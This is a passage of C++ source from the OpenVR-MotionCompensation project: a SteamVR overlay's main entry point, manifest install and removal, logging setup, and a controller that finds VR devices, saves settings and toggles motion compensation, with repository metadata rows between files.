vr::VRSystem()->GetDeviceToAbsoluteTrackingPose(vr::TrackingUniverseStanding, 0.0f, devicePoses, vr::k_unMaxTrackedDeviceCount);
deviceManipulationTabController.eventLoopTick(devicePoses);
if (m_ulOverlayThumbnailHandle != vr::k_ulOverlayHandleInvalid)
{
while (vr::VROverlay()->PollNextOverlayEvent(m_ulOverlayThumbnailHandle, &vrEvent, sizeof(vrEvent)))
{
switch (vrEvent.eventType)
{
case vr::VREvent_OverlayShown:
{
m_pWindow->update();
}
break;
}
}
}
}
QString OverlayController::getVersionString()
{
return QString(applicationVersionString);
}
QUrl OverlayController::getVRRuntimePathUrl()
{
return m_runtimePathUrl;
}
bool OverlayController::soundDisabled()
{
return noSound;
}
const vr::VROverlayHandle_t& OverlayController::overlayHandle()
{
return m_ulOverlayHandle;
}
const vr::VROverlayHandle_t& OverlayController::overlayThumbnailHandle()
{
return m_ulOverlayThumbnailHandle;
}
void OverlayController::showKeyboard(QString existingText, unsigned long userValue)
{
vr::VROverlay()->ShowKeyboardForOverlay(m_ulOverlayHandle, vr::k_EGamepadTextInputModeNormal, vr::k_EGamepadTextInputLineModeSingleLine, vr::EKeyboardFlags::KeyboardFlag_Modal, "Motion Compensation Overlay", 1024, existingText.toStdString().c_str(), userValue);
vr::HmdRect2_t empty = { 0 };
vr::VROverlay()->SetKeyboardPositionForOverlay(m_ulOverlayHandle, empty);
LOG(TRACE) << "Showing Keyboard";
}
void OverlayController::playActivationSound()
{
if (!noSound)
{
activationSoundEffect.play();
}
}
void OverlayController::playFocusChangedSound()
{
if (!noSound)
{
focusChangedSoundEffect.play();
}
}
} // namespace motioncompensation
| 17,861
|
C++
|
.cpp
| 421
| 38.496437
| 263
| 0.734051
|
openvrmc/OpenVR-MotionCompensation
| 36
| 16
| 4
|
GPL-3.0
|
9/20/2024, 10:43:45 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| true
| false
| false
|
1,532,186
|
main.cpp
|
openvrmc_OpenVR-MotionCompensation/client_overlay/src/main.cpp
|
#include "overlaycontroller.h"
#include <QApplication>
#include <QQmlApplicationEngine>
#include <QQuickView>
#include <QQmlEngine>
#include <QQmlComponent>
#include <QSettings>
#include <QStandardPaths>
#include <openvr.h>
#include <iostream>
#include "logging.h"
const char* logConfigFileName = "logging.conf";
const char* logConfigDefault =
"* GLOBAL:\n"
" FORMAT = \"[%level] %datetime{%Y-%M-%d %H:%m:%s}: %msg\"\n"
" FILENAME = \"OpenVR-MotionCompensationOverlay.log\"\n"
" ENABLED = true\n"
" TO_FILE = true\n"
" TO_STANDARD_OUTPUT = true\n"
" MAX_LOG_FILE_SIZE = 2097152 ## 2MB\n"
"* TRACE:\n"
" ENABLED = false\n"
"* DEBUG:\n"
" ENABLED = false\n";
INITIALIZE_EASYLOGGINGPP
void myQtMessageHandler(QtMsgType type, const QMessageLogContext& context, const QString& msg)
{
QByteArray localMsg = msg.toLocal8Bit();
switch (type)
{
case QtDebugMsg:
LOG(DEBUG) << localMsg.constData() << " (" << context.file << ":" << context.line << ")";
break;
case QtInfoMsg:
LOG(INFO) << localMsg.constData() << " (" << context.file << ":" << context.line << ")";
break;
case QtWarningMsg:
LOG(WARNING) << localMsg.constData() << " (" << context.file << ":" << context.line << ")";
break;
case QtCriticalMsg:
LOG(ERROR) << localMsg.constData() << " (" << context.file << ":" << context.line << ")";
break;
case QtFatalMsg:
LOG(FATAL) << localMsg.constData() << " (" << context.file << ":" << context.line << ")";
break;
}
}
void installManifest(bool cleaninstall = false)
{
auto manifestQPath = QDir::cleanPath(QDir(QCoreApplication::applicationDirPath()).absoluteFilePath("manifest.vrmanifest"));
if (QFile::exists(manifestQPath))
{
bool alreadyInstalled = false;
if (vr::VRApplications()->IsApplicationInstalled(motioncompensation::OverlayController::applicationKey))
{
if (cleaninstall)
{
char buffer[1024];
auto appError = vr::VRApplicationError_None;
vr::VRApplications()->GetApplicationPropertyString(motioncompensation::OverlayController::applicationKey, vr::VRApplicationProperty_WorkingDirectory_String, buffer, 1024, &appError);
if (appError == vr::VRApplicationError_None)
{
auto oldManifestQPath = QDir::cleanPath(QDir(buffer).absoluteFilePath("manifest.vrmanifest"));
if (oldManifestQPath.compare(manifestQPath, Qt::CaseInsensitive) != 0)
{
vr::VRApplications()->RemoveApplicationManifest(QDir::toNativeSeparators(oldManifestQPath).toStdString().c_str());
}
else
{
alreadyInstalled = true;
}
}
}
else
{
alreadyInstalled = true;
}
}
auto apperror = vr::VRApplications()->AddApplicationManifest(QDir::toNativeSeparators(manifestQPath).toStdString().c_str());
if (apperror != vr::VRApplicationError_None)
{
throw std::runtime_error(std::string("Could not add application manifest: ") + std::string(vr::VRApplications()->GetApplicationsErrorNameFromEnum(apperror)));
}
else if (!alreadyInstalled || cleaninstall)
{
auto apperror = vr::VRApplications()->SetApplicationAutoLaunch(motioncompensation::OverlayController::applicationKey, true);
if (apperror != vr::VRApplicationError_None)
{
throw std::runtime_error(std::string("Could not set auto start: ") + std::string(vr::VRApplications()->GetApplicationsErrorNameFromEnum(apperror)));
}
}
}
else
{
throw std::runtime_error(std::string("Could not find application manifest: ") + manifestQPath.toStdString());
}
}
void removeManifest()
{
auto manifestQPath = QDir::cleanPath(QDir(QCoreApplication::applicationDirPath()).absoluteFilePath("manifest.vrmanifest"));
if (QFile::exists(manifestQPath))
{
if (vr::VRApplications()->IsApplicationInstalled(motioncompensation::OverlayController::applicationKey))
{
vr::VRApplications()->RemoveApplicationManifest(QDir::toNativeSeparators(manifestQPath).toStdString().c_str());
}
}
else
{
throw std::runtime_error(std::string("Could not find application manifest: ") + manifestQPath.toStdString());
}
}
int main(int argc, char* argv[])
{
bool desktopMode = false;
bool noSound = false;
bool noManifest = false;
// Parse command line arguments
for (int i = 1; i < argc; i++)
{
if (std::string(argv[i]).compare("-desktop") == 0)
{
desktopMode = true;
}
else if (std::string(argv[i]).compare("-nosound") == 0)
{
noSound = true;
}
else if (std::string(argv[i]).compare("-nomanifest") == 0)
{
noManifest = true;
}
else if (std::string(argv[i]).compare("-installmanifest") == 0)
{
std::this_thread::sleep_for(std::chrono::seconds(1)); // When we don't wait here we get an ipc error during installation
int exitcode = 0;
QCoreApplication coreApp(argc, argv);
auto initError = vr::VRInitError_None;
vr::VR_Init(&initError, vr::VRApplication_Utility);
if (initError == vr::VRInitError_None)
{
try
{
installManifest(true);
}
catch (std::exception & e)
{
exitcode = -1;
std::cerr << e.what() << std::endl;
}
}
else
{
exitcode = -2;
std::cerr << std::string("Failed to initialize OpenVR: " + std::string(vr::VR_GetVRInitErrorAsEnglishDescription(initError))) << std::endl;
}
vr::VR_Shutdown();
exit(exitcode);
}
else if (std::string(argv[i]).compare("-removemanifest") == 0)
{
int exitcode = 0;
QCoreApplication coreApp(argc, argv);
auto initError = vr::VRInitError_None;
vr::VR_Init(&initError, vr::VRApplication_Utility);
if (initError == vr::VRInitError_None)
{
try
{
removeManifest();
}
catch (std::exception & e)
{
exitcode = -1;
std::cerr << e.what() << std::endl;
}
}
else
{
exitcode = -2;
std::cerr << std::string("Failed to initialize OpenVR: " + std::string(vr::VR_GetVRInitErrorAsEnglishDescription(initError))) << std::endl;
}
vr::VR_Shutdown();
exit(exitcode);
}
else if (std::string(argv[i]).compare("-openvrpath") == 0)
{
int exitcode = 0;
auto initError = vr::VRInitError_None;
vr::VR_Init(&initError, vr::VRApplication_Utility);
if (initError == vr::VRInitError_None)
{
static char rchBuffer[1024];
uint32_t unRequiredSize;
vr::VR_GetRuntimePath(rchBuffer, sizeof(rchBuffer), &unRequiredSize);
std::cout << rchBuffer;
}
else
{
exitcode = -2;
std::cerr << std::string("Failed to initialize OpenVR: " + std::string(vr::VR_GetVRInitErrorAsEnglishDescription(initError))) << std::endl;
}
vr::VR_Shutdown();
exit(exitcode);
}
else if (std::string(argv[i]).compare("-postinstallationstep") == 0)
{
std::this_thread::sleep_for(std::chrono::seconds(1)); // When we don't wait here we get an ipc error during installation
int exitcode = 0;
auto initError = vr::VRInitError_None;
vr::VR_Init(&initError, vr::VRApplication_Utility);
if (initError == vr::VRInitError_None)
{
vr::VRSettings()->SetBool(vr::k_pch_SteamVR_Section, vr::k_pch_SteamVR_ActivateMultipleDrivers_Bool, true);
}
else
{
exitcode = -2;
std::cerr << std::string("Failed to initialize OpenVR: " + std::string(vr::VR_GetVRInitErrorAsEnglishDescription(initError))) << std::endl;
}
vr::VR_Shutdown();
exit(exitcode);
}
}
try
{
QApplication a(argc, argv);
a.setOrganizationName("OVRMC");
a.setApplicationName("OpenVRMotionCompensation");
a.setApplicationDisplayName(motioncompensation::OverlayController::applicationName);
a.setApplicationVersion(motioncompensation::OverlayController::applicationVersionString);
qInstallMessageHandler(myQtMessageHandler);
// Configure logger
QString logFilePath;
START_EASYLOGGINGPP(argc, argv);
el::Loggers::addFlag(el::LoggingFlag::DisableApplicationAbortOnFatalLog);
auto logconfigfile = QFileInfo(logConfigFileName).absoluteFilePath();
el::Configurations conf;
if (QFile::exists(logconfigfile))
{
conf.parseFromFile(logconfigfile.toStdString());
}
else
{
conf.parseFromText(logConfigDefault);
}
if (!conf.get(el::Level::Global, el::ConfigurationType::Filename))
{
logFilePath = QDir(QStandardPaths::writableLocation(QStandardPaths::AppDataLocation)).absoluteFilePath("VRMotionCompensation.log");
conf.set(el::Level::Global, el::ConfigurationType::Filename, QDir::toNativeSeparators(logFilePath).toStdString());
}
conf.setRemainingToDefault();
el::Loggers::reconfigureAllLoggers(conf);
LOG(INFO) << "|========================================================================================|";
LOG(INFO) << "Application started";
LOG(INFO) << "Log Config: " << QDir::toNativeSeparators(logconfigfile).toStdString();
if (!logFilePath.isEmpty())
{
LOG(INFO) << "Log File: " << logFilePath;
}
if (desktopMode)
{
LOG(INFO) << "Desktop mode enabled.";
}
if (noSound)
{
LOG(INFO) << "Sound effects disabled.";
}
if (noManifest)
{
LOG(INFO) << "vrmanifest disabled.";
}
QSettings appSettings(QSettings::IniFormat, QSettings::UserScope, a.organizationName(), a.applicationName());
motioncompensation::OverlayController::setAppSettings(&appSettings);
LOG(INFO) << "Settings File: " << appSettings.fileName().toStdString();
QQmlEngine qmlEngine;
motioncompensation::OverlayController* controller = motioncompensation::OverlayController::createInstance(desktopMode, noSound);
controller->Init(&qmlEngine);
QQmlComponent component(&qmlEngine, QUrl::fromLocalFile(a.applicationDirPath() + "/res/qml/mainwidget.qml"));
auto errors = component.errors();
for (auto& e : errors)
{
LOG(ERROR) << "QML Error: " << e.toString().toStdString() << std::endl;
}
auto quickObj = component.create();
controller->SetWidget(qobject_cast<QQuickItem*>(quickObj), motioncompensation::OverlayController::applicationName, motioncompensation::OverlayController::applicationKey);
if (!desktopMode && !noManifest)
{
try
{
installManifest();
}
catch (std::exception & e)
{
LOG(ERROR) << e.what();
}
}
if (desktopMode)
{
auto m_pWindow = new QQuickWindow();
qobject_cast<QQuickItem*>(quickObj)->setParentItem(m_pWindow->contentItem());
m_pWindow->setGeometry(0, 0, qobject_cast<QQuickItem*>(quickObj)->width(), qobject_cast<QQuickItem*>(quickObj)->height());
m_pWindow->show();
}
return a.exec();
}
catch (const std::exception & e)
{
LOG(FATAL) << e.what();
return -1;
}
return 0;
}
| 10,363
|
C++
|
.cpp
| 313
| 29.763578
| 186
| 0.695414
|
openvrmc/OpenVR-MotionCompensation
| 36
| 16
| 4
|
GPL-3.0
|
9/20/2024, 10:43:45 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| true
| false
| false
|
1,532,187
|
DeviceManipulationTabController.cpp
|
openvrmc_OpenVR-MotionCompensation/client_overlay/src/tabcontrollers/DeviceManipulationTabController.cpp
|
#include "DeviceManipulationTabController.h"
#include <QQuickWindow>
#include <QApplication>
#include "../overlaycontroller.h"
#include <openvr_math.h>
#include <ipc_protocol.h>
#include <chrono>
#include <QQmlProperty>
// application namespace
namespace motioncompensation
{
DeviceManipulationTabController::~DeviceManipulationTabController()
{
if (identifyThread.joinable())
{
identifyThread.join();
}
}
void DeviceManipulationTabController::initStage1()
{
InitShortcuts();
reloadMotionCompensationSettings();
}
void DeviceManipulationTabController::Beenden()
{
qApp->quit();
}
void DeviceManipulationTabController::initStage2(OverlayController* parent, QQuickWindow* widget)
{
this->parent = parent;
this->widget = widget;
// Fill the array with default data
for (int i = 0; i < vr::k_unMaxTrackedDeviceCount; ++i)
{
deviceInfos.push_back(std::make_shared<DeviceInfo>());
}
LOG(DEBUG) << "deviceInfos size: " << deviceInfos.size();
SearchDevices();
parent->vrMotionCompensation().setOffsets(_offset);
}
void DeviceManipulationTabController::eventLoopTick(vr::TrackedDevicePose_t* devicePoses)
{
if (settingsUpdateCounter >= 50)
{
settingsUpdateCounter = 0;
if (parent->isDashboardVisible() || parent->isDesktopMode())
{
unsigned i = 0;
for (auto info : deviceInfos)
{
// Has the device mode changed?
bool hasDeviceInfoChanged = updateDeviceInfo(i);
// Has the connection status changed?
unsigned status = devicePoses[info->openvrId].bDeviceIsConnected ? 0 : 1;
if (info->deviceMode == vrmotioncompensation::MotionCompensationDeviceMode::Default && info->deviceStatus != status)
{
info->deviceStatus = status;
hasDeviceInfoChanged = true;
}
// Push changes to UI
if (hasDeviceInfoChanged)
{
emit deviceInfoChanged(i);
}
++i;
}
SearchDevices();
}
}
else
{
settingsUpdateCounter++;
}
}
bool DeviceManipulationTabController::SearchDevices()
{
bool newDeviceAdded = false;
try
{
// Get some infos about the found devices
for (uint32_t id = 0; id < vr::k_unMaxTrackedDeviceCount; ++id)
{
vr::ETrackedDeviceClass deviceClass = vr::VRSystem()->GetTrackedDeviceClass(id);
if (deviceClass != vr::TrackedDeviceClass_Invalid && deviceInfos[id]->deviceClass == vr::TrackedDeviceClass_Invalid)
{
if (deviceClass == vr::TrackedDeviceClass_HMD || deviceClass == vr::TrackedDeviceClass_Controller || deviceClass == vr::TrackedDeviceClass_GenericTracker)
{
auto info = std::make_shared<DeviceInfo>();
info->openvrId = id;
info->deviceClass = deviceClass;
char buffer[vr::k_unMaxPropertyStringSize];
// Get and save the serial number
vr::ETrackedPropertyError pError = vr::TrackedProp_Success;
vr::VRSystem()->GetStringTrackedDeviceProperty(id, vr::Prop_SerialNumber_String, buffer, vr::k_unMaxPropertyStringSize, &pError);
if (pError == vr::TrackedProp_Success)
{
info->serial = std::string(buffer);
}
else
{
info->serial = std::string("<unknown serial>");
LOG(ERROR) << "Could not get serial of device " << id;
}
// Get and save the current device mode
try
{
vrmotioncompensation::DeviceInfo info2;
parent->vrMotionCompensation().getDeviceInfo(info->openvrId, info2);
info->deviceMode = info2.deviceMode;
}
catch (std::exception& e)
{
LOG(ERROR) << "Exception caught while getting device info: " << e.what();
}
// Store the found info
deviceInfos[id] = info;
LOG(INFO) << "Found device: id " << info->openvrId << ", class " << info->deviceClass << ", serial " << info->serial;
newDeviceAdded = true;
}
}
}
if (newDeviceAdded)
{
// Remove all map entries
TrackerArrayIdToDeviceId.clear();
HMDArrayIdToDeviceId.clear();
// Create new maps
emit deviceCountChanged();
}
}
catch (const std::exception& e)
{
LOG(ERROR) << "Could not get device infos: " << e.what();
}
return newDeviceAdded;
}
void DeviceManipulationTabController::handleEvent(const vr::VREvent_t&)
{
}
void DeviceManipulationTabController::reloadMotionCompensationSettings()
{
QSettings* settings = OverlayController::appSettings();
settings->beginGroup("deviceManipulationSettings");
// Load serials
_HMDSerial = settings->value("motionCompensationHMDSerial", "").toString();
_RefTrackerSerial = settings->value("motionCompensationRefTrackerSerial", "").toString();
// Load filter settings
_LPFBeta = settings->value("motionCompensationLPFBeta", 0.85).toDouble();
_samples = settings->value("motionCompensationSamples", 12).toUInt();
// Load offset settings
_offset.Translation.v[0] = settings->value("motionCompensationOffsetTranslation_X", 0.0).toDouble();
_offset.Translation.v[1] = settings->value("motionCompensationOffsetTranslation_Y", 0.0).toDouble();
_offset.Translation.v[2] = settings->value("motionCompensationOffsetTranslation_Z", 0.0).toDouble();
_offset.Rotation.v[0] = settings->value("motionCompensationOffsetRotation_P", 0.0).toDouble();
_offset.Rotation.v[1] = settings->value("motionCompensationOffsetRotation_Y", 0.0).toDouble();
_offset.Rotation.v[2] = settings->value("motionCompensationOffsetRotation_R", 0.0).toDouble();
settings->endGroup();
// Load shortcuts
settings->beginGroup("motionCompensationShortcuts");
Qt::Key shortcutKey = (Qt::Key)settings->value("shortcut_0_key", Qt::Key::Key_unknown).toInt();
Qt::KeyboardModifiers shortcutMod = settings->value("shortcut_0_mod", Qt::KeyboardModifier::NoModifier).toInt();
newKey(0, shortcutKey, shortcutMod);
shortcutKey = (Qt::Key)settings->value("shortcut_1_key", Qt::Key::Key_unknown).toInt();
Qt::KeyboardModifiers shortcutMod_2 = settings->value("shortcut_1_mod", Qt::KeyboardModifier::NoModifier).toInt();
newKey(1, shortcutKey, shortcutMod_2);
settings->endGroup();
LOG(INFO) << "Loading saved Settings";
}
void DeviceManipulationTabController::saveMotionCompensationSettings()
{
LOG(INFO) << "Saving Settings";
QSettings* settings = OverlayController::appSettings();
settings->beginGroup("deviceManipulationSettings");
// Save serials
settings->setValue("motionCompensationHMDSerial", _HMDSerial);
settings->setValue("motionCompensationRefTrackerSerial", _RefTrackerSerial);
// Save filter settings
settings->setValue("motionCompensationLPFBeta", _LPFBeta);
settings->setValue("motionCompensationSamples", _samples);
// Save offset settings
settings->setValue("motionCompensationOffsetTranslation_X", _offset.Translation.v[0]);
settings->setValue("motionCompensationOffsetTranslation_Y", _offset.Translation.v[1]);
settings->setValue("motionCompensationOffsetTranslation_Z", _offset.Translation.v[2]);
settings->setValue("motionCompensationOffsetRotation_P", _offset.Rotation.v[0]);
settings->setValue("motionCompensationOffsetRotation_Y", _offset.Rotation.v[1]);
settings->setValue("motionCompensationOffsetRotation_R", _offset.Rotation.v[2]);
settings->endGroup();
settings->sync();
saveMotionCompensationShortcuts();
}
void DeviceManipulationTabController::saveMotionCompensationShortcuts()
{
QSettings* settings = OverlayController::appSettings();
settings->beginGroup("motionCompensationShortcuts");
// Save shortcuts
settings->setValue("shortcut_0_key", getKey_AsKey(0));
settings->setValue("shortcut_0_mod", (int)getModifiers_AsModifiers(0));
settings->setValue("shortcut_1_key", getKey_AsKey(1));
settings->setValue("shortcut_1_mod", (int)getModifiers_AsModifiers(1));
settings->endGroup();
settings->sync();
}
void DeviceManipulationTabController::InitShortcuts()
{
NewShortcut(0, &DeviceManipulationTabController::toggleMotionCompensationMode, "Enable / Disable Motion Compensation");
NewShortcut(1, &DeviceManipulationTabController::resetRefZeroPose, "Reset reference zero pose");
}
void DeviceManipulationTabController::NewShortcut(int id, void (DeviceManipulationTabController::* method)(), QString description)
{
shortcut[id].shortcut = new QGlobalShortcut(this);
shortcut[id].description = description;
shortcut[id].method = method;
if (shortcut[id].isConnected)
{
disconnect(shortcut[id].connectionHandler);
}
ConnectShortcut(id);
}
void DeviceManipulationTabController::ConnectShortcut(int id)
{
shortcut[id].connectionHandler = connect(shortcut[id].shortcut, &QGlobalShortcut::activated, this, shortcut[id].method);
shortcut[id].isConnected = true;
}
void DeviceManipulationTabController::DisconnectShortcut(int id)
{
disconnect(shortcut[id].connectionHandler);
shortcut[id].isConnected = false;
}
void DeviceManipulationTabController::newKey(int id, Qt::Key key, Qt::KeyboardModifiers modifier)
{
if (key != Qt::Key::Key_unknown)
{
shortcut[id].key = key;
shortcut[id].modifiers = modifier;
shortcut[id].shortcut->setShortcut(QKeySequence(key + modifier));
saveMotionCompensationShortcuts();
}
}
void DeviceManipulationTabController::removeKey(int id)
{
shortcut[id].shortcut->unsetShortcut();
shortcut[id].key = Qt::Key::Key_unknown;
shortcut[id].modifiers = Qt::KeyboardModifier::NoModifier;
}
QString DeviceManipulationTabController::getStringFromKey(Qt::Key key)
{
return QKeySequence(key).toString();
}
QString DeviceManipulationTabController::getStringFromModifiers(Qt::KeyboardModifiers key)
{
return QKeySequence(key).toString();
}
Qt::Key DeviceManipulationTabController::getKey_AsKey(int id)
{
return shortcut[id].key;
}
QString DeviceManipulationTabController::getKey_AsString(int id)
{
if (shortcut[id].shortcut->isEmpty())
{
return "Empty";
}
return QKeySequence(shortcut[id].key).toString();
}
Qt::KeyboardModifiers DeviceManipulationTabController::getModifiers_AsModifiers(int id)
{
return shortcut[id].modifiers;
}
QString DeviceManipulationTabController::getModifiers_AsString(int id)
{
return QKeySequence(shortcut[id].modifiers).toString();
}
QString DeviceManipulationTabController::getKeyDescription(int id)
{
return shortcut[id].description;
}
unsigned DeviceManipulationTabController::getDeviceCount()
{
return (unsigned)deviceInfos.size();
}
QString DeviceManipulationTabController::getDeviceSerial(unsigned index)
{
if (index < deviceInfos.size())
{
return QString::fromStdString(deviceInfos[index]->serial);
}
else
{
return QString("<ERROR>");
}
}
unsigned DeviceManipulationTabController::getOpenVRId(unsigned index)
{
if (index < deviceInfos.size())
{
return (int)deviceInfos[index]->openvrId;
}
else
{
return vr::k_unTrackedDeviceIndexInvalid;
}
}
int DeviceManipulationTabController::getDeviceClass(unsigned index)
{
if (index < deviceInfos.size())
{
return (int)deviceInfos[index]->deviceClass;
}
else
{
return -1;
}
}
int DeviceManipulationTabController::getDeviceState(unsigned index)
{
if (index < deviceInfos.size())
{
return (int)deviceInfos[index]->deviceStatus;
}
else
{
return -1;
}
}
int DeviceManipulationTabController::getDeviceMode(unsigned index)
{
if (index < deviceInfos.size())
{
return (int)deviceInfos[index]->deviceMode;
}
else
{
return -1;
}
}
void DeviceManipulationTabController::setTrackerArrayID(unsigned OpenVRId, unsigned ArrayID)
{
TrackerArrayIdToDeviceId.insert(std::make_pair(ArrayID, OpenVRId));
LOG(DEBUG) << "Set Tracker Array ID, OpenVR ID: " << OpenVRId << ", Array ID: " << ArrayID;
}
int DeviceManipulationTabController::getTrackerDeviceID(unsigned ArrayID)
{
//Search for the device ID
auto search = TrackerArrayIdToDeviceId.find(ArrayID);
if (search != TrackerArrayIdToDeviceId.end())
{
return search->second;
}
return -1;
}
void DeviceManipulationTabController::setReferenceTracker(unsigned openVRId)
{
_RefTrackerSerial = QString::fromStdString(deviceInfos[openVRId]->serial);
}
void DeviceManipulationTabController::setHMDArrayID(unsigned OpenVRId, unsigned ArrayID)
{
HMDArrayIdToDeviceId.insert(std::make_pair(ArrayID, OpenVRId));
LOG(DEBUG) << "Set HMD Array ID, OpenVR ID: " << OpenVRId << ", Array ID: " << ArrayID;
}
int DeviceManipulationTabController::getHMDDeviceID(unsigned ArrayID)
{
//Search for the device ID
auto search = HMDArrayIdToDeviceId.find(ArrayID);
if (search != HMDArrayIdToDeviceId.end())
{
return search->second;
}
return -1;
}
void DeviceManipulationTabController::setHMD(unsigned openVRId)
{
_HMDSerial = QString::fromStdString(deviceInfos[openVRId]->serial);
}
bool DeviceManipulationTabController::updateDeviceInfo(unsigned OpenVRId)
{
bool retval = false;
if (OpenVRId < deviceInfos.size())
{
try
{
vrmotioncompensation::DeviceInfo info;
parent->vrMotionCompensation().getDeviceInfo(deviceInfos[OpenVRId]->openvrId, info);
if (deviceInfos[OpenVRId]->deviceMode != info.deviceMode)
{
deviceInfos[OpenVRId]->deviceMode = info.deviceMode;
retval = true;
}
}
catch (std::exception& e)
{
LOG(ERROR) << "Exception caught while getting device info: " << e.what();
}
}
return retval;
}
void DeviceManipulationTabController::toggleMotionCompensationMode()
{
int MCid = -1;
int RTid = -1;
LOG(DEBUG) << "ToggleMC: HMD Serial: " << _HMDSerial.toStdString();
LOG(DEBUG) << "ToggleMC: Ref Tracker Serial: " << _RefTrackerSerial.toStdString();
// If the dashboard is not open, we need to refresh the device list
// New connected devices are otherwise not displayed
if (!parent->isDashboardVisible() || !parent->isDesktopMode())
{
SearchDevices();
}
// Search for the correct serial number and save its OpenVR Id.
if (_RefTrackerSerial != "" && _HMDSerial != "")
{
for (int i = 0; i < vr::k_unMaxTrackedDeviceCount; i++)
{
if (deviceInfos[i]->serial.compare(_HMDSerial.toStdString()) == 0)
{
MCid = i;
}
if (deviceInfos[i]->serial.compare(_RefTrackerSerial.toStdString()) == 0)
{
RTid = i;
}
}
}
if (MCid >= 0 && RTid >= 0 && MCid != RTid)
{
LOG(DEBUG) << "ToggleMC: Found both devices. HMD OVRID: " << MCid << ". Ref Tracker OVRID: " << RTid;
applySettings_ovrid(MCid, RTid, !_MotionCompensationIsOn);
}
//int MCindex = QQmlProperty::read(parent, "hmdSelectionComboBox.currentIndex").toInt();
}
// Enables or disables the motion compensation for the selected device
bool DeviceManipulationTabController::applySettings(unsigned MCindex, unsigned RTindex, bool EnableMotionCompensation)
{
unsigned RTid = 0;
unsigned MCid = 0;
// A few checks if the user input is valid
if (MCindex < 0)
{
m_deviceModeErrorString = "Please select a device";
return false;
}
auto search = HMDArrayIdToDeviceId.find(MCindex);
if (search != HMDArrayIdToDeviceId.end())
{
MCid = search->second;
}
else
{
m_deviceModeErrorString = "Invalid internal reference for MC";
return false;
}
LOG(DEBUG) << "Got this OpenVR ID for HMD: " << MCid;
// Input validation for tracker
if (_motionCompensationMode == vrmotioncompensation::MotionCompensationMode::ReferenceTracker)
{
if (RTindex < 0)
{
m_deviceModeErrorString = "Please select a reference tracker";
return false;
}
// Search for the device ID
search = TrackerArrayIdToDeviceId.find(RTindex);
if (search != TrackerArrayIdToDeviceId.end())
{
RTid = search->second;
}
else
{
m_deviceModeErrorString = "Invalid internal reference for RT";
return false;
}
LOG(DEBUG) << "Got this OpenVR ID for Tracker: " << RTid;
if (MCid == RTid)
{
m_deviceModeErrorString = "\"Device\" and \"Reference Tracker\" cannot be the same!";
return false;
}
if (deviceInfos[RTid]->deviceClass == vr::ETrackedDeviceClass::TrackedDeviceClass_HMD)
{
m_deviceModeErrorString = "\"Reference Tracker\" cannot be a HMD!";
return false;
}
if (deviceInfos[RTid]->deviceClass == vr::ETrackedDeviceClass::TrackedDeviceClass_Invalid)
{
m_deviceModeErrorString = "\"Reference Tracker\" is invalid!";
return false;
}
}
if (deviceInfos[MCid]->deviceClass != vr::ETrackedDeviceClass::TrackedDeviceClass_HMD)
{
m_deviceModeErrorString = "\"Device\" is not a HMD!";
return false;
}
return applySettings_ovrid(MCid, RTid, EnableMotionCompensation);
}
bool DeviceManipulationTabController::applySettings_ovrid(unsigned MCid, unsigned RTid, bool EnableMotionCompensation)
{
try
{
vrmotioncompensation::MotionCompensationMode NewMode = vrmotioncompensation::MotionCompensationMode::ReferenceTracker;
// Send new settings to the driver.dll
if (EnableMotionCompensation && _motionCompensationMode == vrmotioncompensation::MotionCompensationMode::ReferenceTracker)
{
LOG(INFO) << "Sending Motion Compensation Mode: ReferenceTracker";
}
else
{
LOG(INFO) << "Sending Motion Compensation Mode: Disabled";
NewMode = vrmotioncompensation::MotionCompensationMode::Disabled;
}
// Send new mode
parent->vrMotionCompensation().setDeviceMotionCompensationMode(deviceInfos[MCid]->openvrId, deviceInfos[RTid]->openvrId, NewMode);
// Send settings
parent->vrMotionCompensation().setMoticonCompensationSettings(_LPFBeta, _samples, _setZeroMode);
}
catch (vrmotioncompensation::vrmotioncompensation_exception& e)
{
switch (e.errorcode)
{
case (int)vrmotioncompensation::ipc::ReplyStatus::Ok:
{
m_deviceModeErrorString = "Not an error";
} break;
case (int)vrmotioncompensation::ipc::ReplyStatus::InvalidId:
{
m_deviceModeErrorString = "Invalid Id";
} break;
case (int)vrmotioncompensation::ipc::ReplyStatus::NotFound:
{
m_deviceModeErrorString = "Device not found";
} break;
default:
{
m_deviceModeErrorString = "SteamVR did not load OVRMC .dll";
} break;
}
LOG(ERROR) << "Exception caught while setting device mode: " << e.what();
return false;
}
catch (std::exception& e)
{
m_deviceModeErrorString = "Unknown exception";
LOG(ERROR) << "Unknown exception caught while setting device mode: " << e.what();
return false;
}
_MotionCompensationIsOn = EnableMotionCompensation;
setHMD(MCid);
setReferenceTracker(RTid);
saveMotionCompensationSettings();
return true;
}
void DeviceManipulationTabController::resetRefZeroPose()
{
try
{
LOG(INFO) << "Resetting reference zero pose";
parent->vrMotionCompensation().resetRefZeroPose();
}
catch (vrmotioncompensation::vrmotioncompensation_exception& e)
{
switch (e.errorcode)
{
case (int)vrmotioncompensation::ipc::ReplyStatus::Ok:
{
m_deviceModeErrorString = "Not an error";
} break;
default:
{
m_deviceModeErrorString = "SteamVR did not load OVRMC .dll";
} break;
LOG(ERROR) << "Exception caught while setting LPF Beta: " << e.what();
}
}
catch (std::exception& e)
{
m_deviceModeErrorString = "Unknown exception";
LOG(ERROR) << "Exception caught while resetting reference zero pose: " << e.what();
}
}
QString DeviceManipulationTabController::getDeviceModeErrorString()
{
return m_deviceModeErrorString;
}
bool DeviceManipulationTabController::isDesktopModeActive()
{
return parent->isDesktopMode();
}
bool DeviceManipulationTabController::setLPFBeta(double value)
{
// A few checks if the user input is valid
if (value <= 0.0)
{
m_deviceModeErrorString = "Value cannot be lower than 0.0001";
return false;
}
if (value > 1.0)
{
m_deviceModeErrorString = "Value cannot be higher than 1.0000";
return false;
}
_LPFBeta = value;
return true;
}
double DeviceManipulationTabController::getLPFBeta()
{
return _LPFBeta;
}
bool DeviceManipulationTabController::setSamples(unsigned value)
{
// A few checks if the user input is valid
if (value < 1)
{
m_deviceModeErrorString = "Samples cannot be lower than 1";
return false;
}
_samples = value;
return true;
}
unsigned DeviceManipulationTabController::getSamples()
{
return _samples;
}
void DeviceManipulationTabController::setZeroMode(bool setZero)
{
_setZeroMode = setZero;
}
bool DeviceManipulationTabController::getZeroMode()
{
return _setZeroMode;
}
void DeviceManipulationTabController::increaseLPFBeta(double value)
{
_LPFBeta += value;
if (_LPFBeta > 1.0)
{
_LPFBeta = 1.0;
}
else if (_LPFBeta < 0.0)
{
_LPFBeta = 0.0;
}
emit settingChanged();
}
void DeviceManipulationTabController::increaseSamples(int value)
{
_samples += value;
